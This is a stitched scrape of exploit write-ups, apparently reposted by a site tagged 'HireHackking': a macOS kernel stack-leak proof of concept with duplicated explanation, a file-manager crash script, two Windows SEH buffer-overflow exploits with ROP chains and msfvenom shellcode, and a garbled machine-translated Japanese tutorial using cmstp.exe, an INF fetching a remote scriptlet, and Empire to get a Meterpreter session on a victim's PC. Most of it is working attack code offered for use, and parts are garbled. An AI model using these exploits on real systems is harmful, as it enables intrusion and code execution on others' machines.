				strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
				    sizeof(wakeuuid_not_set_last_if));
			}	
			return;
		}
	
		lck_mtx_lock(&net_port_entry_head_lock);
		if (uuid_compare(wakeuuid, current_wakeuuid) != 0) {			// (e) These UUIDs will be different.
			net_port_entry_list_clear();
			uuid_copy(current_wakeuuid, wakeuuid);				// (f) Uninitialized stack garbage
			updated = true;							//     will be copied into a sysctl
		}									//     variable.
		/* 
		 * Record the time last checked
		 
		microuptime(&wakeuiid_last_check);
		lck_mtx_unlock(&net_port_entry_head_lock);
	
		if (updated && if_ports_used_verbose > 0) {
			uuid_string_t uuid_str;
	
			uuid_unparse(current_wakeuuid, uuid_str);
			log(LOG_ERR, "%s: current wakeuuid %s\n",
			    __func__,
			    uuid_str);
		}
	}

After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
than a valid hexadecimal digit, we can get random stack garbage copied into the global
current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
its value can be read from userspace.

Tested on macOS 10.13.6 17G2112:

	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
	1. Sleep the device.
	2. Wake the device.
	3. Press any key to continue.
	
	current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
*/

/*
 * wakeuuid-leak.c
 * Brandon Azad (bazad@google.com)
 */

#if 0
iOS/macOS: 16-byte uninitialized kernel stack disclosure in if_ports_used_update_wakeuuid().

macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:

	extern "C" bool
	IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
	{
		if (!gSleepWakeUUIDIsSet) {
			return (false);
		}
	
		if (buffer != NULL) {
			OSString *string;
	
			string = (OSString *)
			    gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
	
			if (string == NULL) {
				*buffer = '\0';
			} else {
				strlcpy(buffer, string->getCStringNoCopy(), buf_len);
	
				string->release();
			}
		}
	
		return (true);
	}

This function is interesting because it copies a caller-specified amount of data from the
"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
out-of-bounds heap data will be copied into the caller's buffer.

However, triggering this particular information leak is challenging, since the only caller is the
function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
leak:

	void
	if_ports_used_update_wakeuuid(struct ifnet *ifp)
	{
		uuid_t wakeuuid;							// (a) wakeuuid is uninitialized.
		bool wakeuuid_is_set = false;
		bool updated = false;
	
		if (__improbable(use_test_wakeuuid)) {
			wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
		} else {
			uuid_string_t wakeuuid_str;
	
			wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str,	// (b) wakeuuid_str is controllable.
			    sizeof(wakeuuid_str));
			if (wakeuuid_is_set) {
				uuid_parse(wakeuuid_str, wakeuuid);			// (c) The return value of
			}								//     uuid_parse() is not checked.
		}
	
		if (!wakeuuid_is_set) {
			if (if_ports_used_verbose > 0) {
				os_log_info(OS_LOG_DEFAULT,
				    "%s: SleepWakeUUID not set, "
				    "don't update the port list for %s\n",
				    __func__, ifp != NULL ? if_name(ifp) : "");
			}
			wakeuuid_not_set_count += 1;
			if (ifp != NULL) {
				microtime(&wakeuuid_not_set_last_time);
				strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
				    sizeof(wakeuuid_not_set_last_if));
			}	
			return;
		}
	
		lck_mtx_lock(&net_port_entry_head_lock);
		if (uuid_compare(wakeuuid, current_wakeuuid) != 0) {			// (e) These UUIDs will be different.
			net_port_entry_list_clear();
			uuid_copy(current_wakeuuid, wakeuuid);				// (f) Uninitialized stack garbage
			updated = true;							//     will be copied into a sysctl
		}									//     variable.
		/* 
		 * Record the time last checked
		 */
		microuptime(&wakeuiid_last_check);
		lck_mtx_unlock(&net_port_entry_head_lock);
	
		if (updated && if_ports_used_verbose > 0) {
			uuid_string_t uuid_str;
	
			uuid_unparse(current_wakeuuid, uuid_str);
			log(LOG_ERR, "%s: current wakeuuid %s\n",
			    __func__,
			    uuid_str);
		}
	}

After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
than a valid hexadecimal digit, we can get random stack garbage copied into the global
current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
its value can be read from userspace.

Tested on macOS 10.13.6 17G2112:

	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
	bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
	1. Sleep the device.
	2. Wake the device.
	3. Press any key to continue.
	
	current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
#endif

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <IOKit/IOKitLib.h>
#include <sys/sysctl.h>

int
main(int argc, const char *argv[]) {
	CFStringRef kIOPMSleepWakeUUIDKey = CFSTR("SleepWakeUUID");
	// First get IOPMrootDomain::setProperties() called with "SleepWakeUUID" set to an invalid
	// value.
	io_service_t IOPMrootDomain = IOServiceGetMatchingService(
			kIOMasterPortDefault,
			IOServiceMatching("IOPMrootDomain"));
	if (IOPMrootDomain == IO_OBJECT_NULL) {
		printf("Error: Could not look up IOPMrootDomain\n");
		return 1;
	}
	kern_return_t kr = IORegistryEntrySetCFProperty(
			IOPMrootDomain,
			kIOPMSleepWakeUUIDKey,
			CFSTR(""));
	if (kr != KERN_SUCCESS) {
		printf("Error: Could not set SleepWakeUUID\n");
		return 2;
	}
	// Next get IOPMrootDomain::handlePublishSleepWakeUUID() called, probably via
	// IOPMrootDomain::handleOurPowerChangeStart(). For now, just ask the tester to sleep and
	// wake the device.
	printf("1. Sleep the device.\n2. Wake the device.\n3. Press any key to continue.\n");
	getchar();
	// Check that we successfully set an invalid UUID.
	CFTypeRef value = IORegistryEntryCreateCFProperty(
			IOPMrootDomain,
			kIOPMSleepWakeUUIDKey,
			kCFAllocatorDefault,
			0);
	if (!CFEqual(value, CFSTR(""))) {
		printf("Error: SleepWakeUUID not set successfully\n");
		return 3;
	}
	// Now we need to trigger the leak in if_ports_used_update_wakeuuid(). We can use the
	// sysctl net.link.generic.system.get_ports_used.<ifindex>.<protocol>.<flags>.
	size_t get_ports_used_mib_size = 5;
	int get_ports_used_mib[get_ports_used_mib_size + 3];
	int err = sysctlnametomib("net.link.generic.system.get_ports_used",
			get_ports_used_mib, &get_ports_used_mib_size);
	if (err != 0) {
		return 4;
	}
	get_ports_used_mib[get_ports_used_mib_size++] = 1;	// ifindex
	get_ports_used_mib[get_ports_used_mib_size++] = 0;	// protocol
	get_ports_used_mib[get_ports_used_mib_size++] = 0;	// flags
	uint8_t ports_used[65536 / 8];
	size_t ports_used_size = sizeof(ports_used);
	err = sysctl(get_ports_used_mib, get_ports_used_mib_size,
			ports_used, &ports_used_size, NULL, 0);
	if (err != 0) {
		printf("Error: sysctl %s: errno %d\n",
				"net.link.generic.system.get_ports_used", errno);
		return 5;
	}
	// Finally retrieve the leak with sysctl
	// net.link.generic.system.port_used.current_wakeuuid.
	uint8_t current_wakeuuid[16];
	size_t current_wakeuuid_size = sizeof(current_wakeuuid);
	err = sysctlbyname("net.link.generic.system.port_used.current_wakeuuid",
			current_wakeuuid, &current_wakeuuid_size, NULL, 0);
	if (err != 0) {
		printf("Error: sysctl %s: errno %d\n",
				"net.link.generic.system.port_used.current_wakeuuid", errno);
		return 6;
	}
	uint64_t *leak = (uint64_t *)current_wakeuuid;
	printf("current_wakeuuid: 0x%016llx 0x%016llx\n", leak[0], leak[1]);
	return 0;
}
HireHackking 
# Exploit Title: Advanced File Manager v3.4.1 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.advexsoft.com
# Software Link : http://www.advexsoft.com
# Tested Version: 3.4.1
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run af_mgr.exe
# 2.- copy content af_mgr_Crash.txt or 300 "A" to clipboard (result from this python script)
# 3.- Go to Help - Enter registration code and paste the result in all fields: "Person", "Organization", "E-mail" and "Enter your registration key below, please:"
# 4.- Click in Register button and you will see a crash.

#!/usr/bin/env python

crash = "\x41" * 300
f = open ("af_mgr_Crash.txt", "w")
f.write(crash)
f.close()
HireHackking 
#!/usr/bin/python

# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)
# Date: 01-29-19
# Vulnerable Software: 10-Strike Network Inventory Explorer 8.54
# Vendor Homepage: https://www.10-strike.com/
# Version: 8.54 
# Software Link 1: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe
# Tested Windows 7 SP1 x86

# PoC
# 1. run script
# 2. open app, select Computers tab  
# 3. click on 'From Text File'
# 4. choose 10strike.txt that was generated 
# 5. pop calc

# manually created ropchain based on mona.py 'rop.txt' and 'ropfunc.txt' finds
# practicing dep bypass by not using auto generated mona.py ropchains

# original seh poc from Hashim Jawad, EDB: 44838
# notes from author state offset is based upon username size, username for poc is 'user'

# badchars; \x00\x0a\x0d\x2f

import struct

filename = "10strike.txt"

junk  = "\x41" * 209

seh = struct.pack('<L',0x10013e29)

fill = "\x42"*12

#VirtualProtect()
#ESI = ptr to VirtualProtect()
rop = struct.pack('<L',0x7c3762b3)   # POP EAX # RETN 
rop += struct.pack('<L',0x61e9b30c)  # ptr to &VirtualProtect() 
rop += struct.pack('<L',0x1001872e)  # MOV EAX,DWORD PTR DS:[EAX] # RETN 
rop += struct.pack('<L',0x100101f2)  # POP EBX # RETN 
rop += struct.pack('<L',0xffffffff)  #
rop += struct.pack('<L',0x100186d1)  # ADD EBX,EAX # XOR EAX,EAX # RETN
rop += struct.pack('<L',0x7c358a01)  # INC EBX # XOR EAX,EAX # RETN 
rop += struct.pack('<L',0x7c3501d5)  # POP ESI # RETN
rop += struct.pack('<L',0xffffffff)  #
rop += struct.pack('<L',0x61e8509c)  # ADD ESI,EBX # RETN 
rop += struct.pack('<L',0x7c370464)  # INC ESI # RETN 

#EBP = ReturnTo (ptr to jmp esp)
#mona.py jmp -r esp -cpb '\x00\x0a\x0d'
rop += struct.pack('<L',0x61e05892)  # POP EBP # RETN 
rop += struct.pack('<L',0x61e053a9)  # push esp # ret

#EBX = dwSize x201
rop += struct.pack('<L',0x7c348495)  # POP EAX # RETN 
rop += struct.pack('<L',0xfffffdff)  # 
rop += struct.pack('<L',0x7c351e05)  # NEG EAX # RETN 
rop += struct.pack('<L',0x100101f2)  # POP EBX # RETN 
rop += struct.pack('<L',0xffffffff)  #  
rop += struct.pack('<L',0x61e0579d)  # INC EBX # RETN 
rop += struct.pack('<L',0x100186d1)  # ADD EBX,EAX # XOR EAX,EAX # RETN 
	  
#EDX = NewProtect (0x40)
rop += struct.pack('<L',0x7c344160)  # POP EDX # RETN 
rop += struct.pack('<L',0xffffffc0)  # 
rop += struct.pack('<L',0x7c351eb1)  # NEG EDX # RETN 
	  
#ECX = lpOldProtect (ptr to W address)
rop += struct.pack('<L',0x7c37157a)  # POP ECX # RETN
rop += struct.pack('<L',0x61e894c0)  # &Writable location sqlite3

#EDI = ROP NOP (RETN)
rop += struct.pack('<L',0x1001ab53)  # POP EDI # RETN
rop += struct.pack('<L',0x1001ab54)  # ROP-NOP 
	  
#EAX = NOP (0x90909090)
rop += struct.pack('<L',0x7c3647cc)  # POP EAX # RETN 
rop += struct.pack('<L',0x90909090)  # nop

#PUSHAD
rop += struct.pack('<L',0x10019094)  # PUSHAD # RETN 

nops = "\x90"*10

#msfvenom -p windows/exec cmd=calc.exe -b '\x00\x0a\x0d\x3a\x5c' -f python
#Payload size: 220 bytes
calc =  ""
calc += "\xbb\x29\x86\xf9\x07\xda\xdb\xd9\x74\x24\xf4\x5e\x31"
calc += "\xc9\xb1\x31\x31\x5e\x13\x83\xee\xfc\x03\x5e\x26\x64"
calc += "\x0c\xfb\xd0\xea\xef\x04\x20\x8b\x66\xe1\x11\x8b\x1d"
calc += "\x61\x01\x3b\x55\x27\xad\xb0\x3b\xdc\x26\xb4\x93\xd3"
calc += "\x8f\x73\xc2\xda\x10\x2f\x36\x7c\x92\x32\x6b\x5e\xab"
calc += "\xfc\x7e\x9f\xec\xe1\x73\xcd\xa5\x6e\x21\xe2\xc2\x3b"
calc += "\xfa\x89\x98\xaa\x7a\x6d\x68\xcc\xab\x20\xe3\x97\x6b"
calc += "\xc2\x20\xac\x25\xdc\x25\x89\xfc\x57\x9d\x65\xff\xb1"
calc += "\xec\x86\xac\xff\xc1\x74\xac\x38\xe5\x66\xdb\x30\x16"
calc += "\x1a\xdc\x86\x65\xc0\x69\x1d\xcd\x83\xca\xf9\xec\x40"
calc += "\x8c\x8a\xe2\x2d\xda\xd5\xe6\xb0\x0f\x6e\x12\x38\xae"
calc += "\xa1\x93\x7a\x95\x65\xf8\xd9\xb4\x3c\xa4\x8c\xc9\x5f"
calc += "\x07\x70\x6c\x2b\xa5\x65\x1d\x76\xa3\x78\x93\x0c\x81"
calc += "\x7b\xab\x0e\xb5\x13\x9a\x85\x5a\x63\x23\x4c\x1f\x9b"
calc += "\x69\xcd\x09\x34\x34\x87\x08\x59\xc7\x7d\x4e\x64\x44"
calc += "\x74\x2e\x93\x54\xfd\x2b\xdf\xd2\xed\x41\x70\xb7\x11"
calc += "\xf6\x71\x92\x71\x99\xe1\x7e\x58\x3c\x82\xe5\xa4"

pad = "\x45"*(3000 - len(junk + seh + fill + rop + nops + calc))

buffer = junk + seh + fill + rop + nops + calc + pad

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
HireHackking

デフォルトでは、Applockerを使用すると、バイナリファイルをフォルダーで実行できます。これが、バイパスできる主な理由です。このようなバイナリファイルは、ApplockerとUACをバイパスするために簡単に使用できることがわかっています。 Microsoftに関連するバイナリの1つはCMSTPです。 CMSTPはINFファイルを歓迎するため、INFを介して開発することができます。そのため、そのような開発の方法を学びます。

誰もが知っているように、CMSTPはSCTファイルを受け入れてから静かに実行するため、目標を達成するために悪意のあるSCTファイルを作成します。これを行うには、Empire Powershellを使用します。 Empire Powershellの詳細なガイドについては、ここをクリックしてください。

Kaliターミナルから帝国フレームワークを開始し、次のコマンドを入力してマルウェアを作成します。

リスナー

uselistener http

ホストを設定192.168.1.109

実行する

ws414linxaq8286.png

上記のコマンドは、リスナーを作成し、リスナーインターフェイスから戻るために戻って入力し、SCTファイルタイプを作成します。

UseStager Windows/Launcher_Sct

リスナーhttpを設定します

実行する

上記の脆弱性を実行すると、SCTファイルが作成されます。次のスクリプトを使用して、PowerShellでファイルを実行します。このスクリプトでは、SCTファイルへのパスを指定し、図に示すように次のコードを追加します。

ここからこのスクリプトをダウンロードしてください： cmstp.exe /s cmstp.inf

[バージョン]

signature=$ chicago $

AdvancedInf=2.5

[defaultinstall_singleuser]

unregisterocxs=unregisterocxSection

[registerocxSection]

％11％\ scrobj.dll、ni、https://gist.githubusercontent.com/nicktyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f/raw/676451571c203303a95b95fcb29c88b7deb8a66666665

[文字列]

appact='Software \ Microsoft \ Connection Manager'

servicename='yay'

shortsvcname='yay'

ogdifkw5oyl8288.pngさて、ファイルを被害者のPCに送信し、被害者のコマンドプロンプトで次のコマンドを実行します。

cmstp.exe /s shell.inf

xlzs5kxmwbt8290.png

コマンドを実行すると、MeterPrererセッションが表示されます。次のコマンドを使用してセッションにアクセスします。

対話セッション名

このようにして、CMSTPバイナリを使用してApplockerの制限をバイパスできます。 CMSTPはINFファイルを必要とし、それを活用して、被害者のPCにアクセスするのに役立ちます。

bbyjsswvujr8292.png

HireHackking 
#!/usr/bin/python
# Exploit Title: UltraISO 9.7.1.3519 - Local Buffer Overflow (SEH)
# Date: 30/01/2019
# Exploit Author: Dino Covotsos - Telspace Systems 
# Vendor Homepage: https://www.ultraiso.com/
# Version: 9.7.1.3519
# Software Link: https://www.ultraiso.com/download.html
# Contact: services[@]telspace.co.za
# Twitter: @telspacesystems (Greets to the Telspace Crew)
# Tested on: Windows XP Prof SP3 ENG x86
# CVE: TBC from Mitre
# Thanks to Francisco Ramirez for the original Windows 10 x64 DOS.
# Created in preparation for OSCE - DC - Telspace Systems
# PoC:
# 1.) Generate exploit.txt, copy the content to clipboard
# 2.) In the application, click "Make CD/DVD Image"
# 3.) Paste the contents of exploit.txt under 'Output FileName'
# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!)

#0x72d1170b : pop esi # pop ebx # ret 0x04 |  {PAGE_EXECUTE_READ} [msacm32.drv] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0
#NSEH - JMP 0012ED66 (\xEB\x08)

#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x3a" -f c

shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbf\x67\xdc\x50\x39\x5d\x2b\xc9\xb1"
"\x31\x83\xc5\x04\x31\x7d\x14\x03\x7d\x73\x3e\xa5\xc5\x93\x3c"
"\x46\x36\x63\x21\xce\xd3\x52\x61\xb4\x90\xc4\x51\xbe\xf5\xe8"
"\x1a\x92\xed\x7b\x6e\x3b\x01\xcc\xc5\x1d\x2c\xcd\x76\x5d\x2f"
"\x4d\x85\xb2\x8f\x6c\x46\xc7\xce\xa9\xbb\x2a\x82\x62\xb7\x99"
"\x33\x07\x8d\x21\xbf\x5b\x03\x22\x5c\x2b\x22\x03\xf3\x20\x7d"
"\x83\xf5\xe5\xf5\x8a\xed\xea\x30\x44\x85\xd8\xcf\x57\x4f\x11"
"\x2f\xfb\xae\x9e\xc2\x05\xf6\x18\x3d\x70\x0e\x5b\xc0\x83\xd5"
"\x26\x1e\x01\xce\x80\xd5\xb1\x2a\x31\x39\x27\xb8\x3d\xf6\x23"
"\xe6\x21\x09\xe7\x9c\x5d\x82\x06\x73\xd4\xd0\x2c\x57\xbd\x83"
"\x4d\xce\x1b\x65\x71\x10\xc4\xda\xd7\x5a\xe8\x0f\x6a\x01\x66"
"\xd1\xf8\x3f\xc4\xd1\x02\x40\x78\xba\x33\xcb\x17\xbd\xcb\x1e"
"\x5c\x31\x86\x03\xf4\xda\x4f\xd6\x45\x87\x6f\x0c\x89\xbe\xf3"
"\xa5\x71\x45\xeb\xcf\x74\x01\xab\x3c\x04\x1a\x5e\x43\xbb\x1b"
"\x4b\x20\x5a\x88\x17\x89\xf9\x28\xbd\xd5")

buffer = "A" * 304 + "\xEB\x08\x90\x90" + "\x0b\x17\xd1\x72" + "\x90" * 20 + shellcode + "D" * 9448

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"